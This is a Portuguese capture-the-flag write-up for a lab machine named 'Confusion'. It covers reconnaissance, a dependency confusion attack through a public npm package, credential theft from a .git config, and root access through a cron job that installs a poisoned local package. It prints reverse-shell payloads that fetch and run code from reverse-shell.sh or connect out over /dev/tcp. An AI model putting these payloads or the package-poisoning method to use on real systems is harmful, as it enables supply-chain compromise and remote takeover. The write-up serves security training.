Escolar Documentos
Profissional Documentos
Cultura Documentos
Write-up confusion
Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas. Então,
vamos usar uma ferramenta chamada nmap.
Ports:
Porta 22 - SSH
Porta 80 - HTTP
Write-Up - Confusion 1
Então teremos que mapear o endereço IP com o nome de domínio, adicionando uma linha no arquivo host,
conforme ilustrado na imagem a seguir.
Write-Up - Confusion 2
Agora faremos um fuzzing de diretórios e arquivos.
Write-Up - Confusion 3
Após fazer fuzzing usando outras wordlists, não obtive sucesso.
Enumeração de subdmínios:
Write-Up - Confusion 4
O GitLab é um gerenciador de repositório de software baseado em git, com suporte a Wiki, gerenciamento de
tarefas e CI/CD. GitLab é similar ao GitHub, mas o GitLab permite que os desenvolvedores armazenem o
código em seus próprios servidores, ao invés de servidores de terceiros.
Write-Up - Confusion 5
Agora iremos em → Explore public projects → Administration/internallib
Write-Up - Confusion 6
Write-Up - Confusion 7
Aqui podemos ver que a cada 3 minutos ele executa uma nova pipeline.
Uma pipeline é um grupo de jobs que são executados em estágios. Todos os jobs em um estágio são
executados em paralelo (se houver Runners suficientes), e se todos eles tiverem sucesso, a pipeline move
para o próximo estágio. Se um dos jobs falharem, o próximo estágio não será executado (geralmente).
Dependency Confusion
Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies
The Story of a Novel Supply Chain Attack. "Dependency Confusion: How I Hacked Into Apple, Microsoft
and Dozens of Other Companies" is published by Alex Birsan.
https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
Recomendo vocês a lerem esse artigo para entender como que funciona a vulnerabilidade, antes de seguir em
frente.
Se você for aluno do curso https://lp.webhacking.com.br/, tem uma vídeo aula explicando na prática e com
detalhes como funciona essa vulnerabilidade, recomendo bastante.
Let’s Go
Agora iremos baixar a lib pra nossa máquina para criar um script malicioso que nós dará uma reverse shell.
Write-Up - Confusion 8
Depois de ter baixado, iremos descompactar.
Payload:
Como a máquina tem acesso a internet, utilizaremos esse site pra gerar uma payload de reverse shell em
várias linguagens diferentes.
https://reverse-shell.sh/
Exemplo:
Write-Up - Confusion 9
A nossa index.js ficará assim:
exports.command = function(){
console.log("vert16x");
exec('/bin/bash -c "curl https://reverse-shell.sh/<IP-VPN>:443|sh"');
return "deu bom";
}
Agora iremos modificar a versão da lib para uma versão superior, assim quando ele executar a nova pipeline,
irá pegar a nossa lib maliciosa, pois está com a versão mais (atualizada-superior).
Write-Up - Confusion 10
Ouvinte do netcat:
Agora iremos publicar a nossa lib no repositório do npm, é necessário criar uma conta para publicar, como eu
já tinha publicado antes, ele não pediu meu login, mas quando você for publicar pela a primeira vez, será
necessário logar primeiro.
Após alguns minutos, podemos ver em Jobs que ele executou a nossa lib maliciosa.
Write-Up - Confusion 11
E temos shell =)
Shell tty
Atualizando shell simples para TTYs totalmente interativos.
Ctrl+Z
Enter
export TERM=xterm
Write-Up - Confusion 12
Indo em /opt/scripts/internallib/.git temos um arquivo → config, lendo esse arquivo temos as credenciais do
usuário internal.
Write-Up - Confusion 13
Indo em settings → CI/CD → variables, podemos encontrar a nossa primeira flag =).
Password reuse
Write-Up - Confusion 14
Podemos utilizar a senha encontrada no .git para trocar de usuário.
Privesc
Cron Jobs
Write-Up - Confusion 15
Olhando o conteúdo desse arquivo, podemos ver que ele está executando o seguinte comando:
#!/bin/bash
cd /root
test_name=$(shuf -i 1-100000000 -n 1)
mkdir $test_name
cd $test_name
npm init -y
cd node_modules/uhclabs_local_check/
cd /tmp/
rm -rf /root/$test_name/
Aqui podemos escalar privilégios se ele estiver executando uma cron, assim podemos subir uma lib maliciosa
para o registry local, então iremos confirmar se realmente existe uma cron rodando, com a ferramenta pspy.
Write-Up - Confusion 16
Releases · DominicBreuker/pspy
Small update: pspy will now print the version when it starts up. It will also kill itself if
unrecoverable inotify errors are discovered rather than running indefinitely. A few small
changes: Fixing errno 22 errors: I suspect the errors mentioned in issue #3 are due to
https://github.com/DominicBreuker/pspy/releases
Depois de ter baixado na sua máquina e ter enviado para o servidor, é hora de executa-ló.
Aqui podemos ver claramente que realmente existe uma cron, e está executando o script local_check.sh a
cada 3 minutos.
Write-Up - Confusion 17
Sabendo disso, agora iremos baixar a lib uhclabs_local_check para modifica-lá.
Depois de ter baixado a lib, podemos ver que em scripts ele executa os seguintes comandos:
"scripts":{
"start": "ifconfig; ip; whoami; id; echo OK"
}
Então, iremos substituir esses comandos em start e colocar uma payload de reverse shell.
Write-Up - Confusion 18
/bin/bash -c 'bash -i >& /dev/tcp/<IP-VPN>/80 0>&1'
Não podemos esquecer de mudar a versão para uma superior, assim ele irá instalar a versão mais atualizada,
que no caso será a nossa lib maliciosa. =)
Agora criaremos um novo usuário no registry local, para enviar nossa lib, podemos criar um usuário anônimo.
Write-Up - Confusion 19
E após ter publicado nossa lib maliciosa, esperaremos por alguns minutinhos e receberemos a shell de root,
agora é só ler a última flag =)
Write-Up - Confusion 20